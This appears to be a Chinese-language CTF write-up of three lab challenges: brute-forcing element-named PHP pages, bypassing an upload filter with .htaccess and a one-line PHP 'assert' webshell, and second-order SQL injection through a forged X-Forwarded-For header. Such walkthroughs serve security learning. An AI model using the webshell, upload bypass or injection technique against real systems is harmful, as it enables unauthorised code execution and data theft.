[BJDCTF 2nd]elementmaster
又是一个脑洞题。(晕)
- 打开页面源码,如下值得注意的点:可以看到id是16进制,解码后发现第一个是Po 第二个是php。我们尝试访问 Po.php 回显了一个
1
2<p id="506F2E" hidden="">I am the real Element Masterrr!!!!!!</p>
<p id="706870" hidden="">@颖奇L'Amore</p>.
再看那串英文的意思,“我是真正的元素大师!!”百度搜索了元素表,可以知道Po就是其中的元素。 - 我们写脚本跑跑然后得到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import requests
import time
url = "http://82406e20-1fdf-4637-be67-db48dae7a5a1.node3.buuoj.cn/"
dict = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
s=''
for element in dict:
req = requests.get(url+'/'+element+'.php')
time.sleep(0.02)
if "404" in req.text:
pass
else:
s+=req.text
print(s)
print("fileName:"+s)And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
直接访问可以得到flag
[GXYCTF2019]BabyUpload
其实题目解法看起来简单,但做起来却真的有点难的。
- 根据提示不能上传带有ph的文件,再访问一个错误的地址发现是
apache
。想到.htaccess
和.user.ini
(大多中间键都可用)我们就上传.htaccess
来绕过吧。 - 上传
.htaccess
文件,这里题目限制了文件类型,jpg都过不去。我们需要用image/jpeg
才过的去。1
2文件内容为:(意思是所有文件都以php来解析)
SetHandler application/x-httpd-php - 题目好像对
<?
也有过滤,不过我写马的时候都是这样写的:1
2GIF89a
<script language='php'>assert($_REQUEST['cmd'])</script> - 上传我们准备的马,记得改类型。这里我命名马为1.png。上传成功后看到禁用了很多系统函数包括
system
此时我们可以使用读文件函数readfile
只是我们要猜测flag即其位置了。最后得知readfile('/flag')
得到flag - 当然我们可以用蚁剑来连接我们的马,也可读取文件。但是值得注意的是编码器记得选 chr
[RoarCTF 2019]Online Proxy
先贴脚本
这是我自己写的脚本真的慢呀,表库有些还是直接看到别人的wp。先贴一下再讲解题过程吧
1 | import requests |
确实有点慢,不过我编程还是没学太扎实(首先想到的就是这种一个一个试的方法)。下面我再话花点世间用二分法脱库应该会快点:(快的不止一倍呀,以后还是尽量写这种)
1 | import requests |
解题思路
- 抓包重放,发现回显有ip 尝试XFF伪造ip成功。我们伪造一个ip发过去会显示为
Current Ip
而上一个ip为Last Ip:
。 - 尝试伪造一个
1' and (1=1) and '1
ip,第一次放过去显示在当前ip然后我们改一个ip使其Last Ip
显示我们输入的语句(此时未调用数据库的数据),但我们再次放一次包(ip不改)就会看到执行了我们的payload并返回了结果(从数据库调用)。也就是二次注入 - 再整理一下思路:
- 第一次执行 payload 语句,使payload插入数据库中。
- 第二次执行非payload语句,使payload显示在Lastip的位置。
- 第三次执行非payload语句(和第二次一样的语句),使payload生效,显示攻击返回结果。
- 值得注意的是,如果我们的payload的不对就不会显示在lastip中,我们要从简测试 payload 如
1' and (1=1) and '1
- 我们知道了这个注入点以后,我们写脚本跑flag了。脚本上面已经给出了。二分法在这种大量的测试中确实快的很多。值得注意的的cookie值要一样,我们有2中方法就是在每一个请求中加同一个cookie(不推荐,可能会被屏蔽),或者使用session来确定都是同一次连接。
- 如果没有wp,就是知道了注入点,也很难找到其它库的其它表里flag呀。
如果注入时不出数据可以试试加 limit 0,1 来限制每次出一条数据。 当然有条件,使用group_concat
把字段合起来输出更方便呀。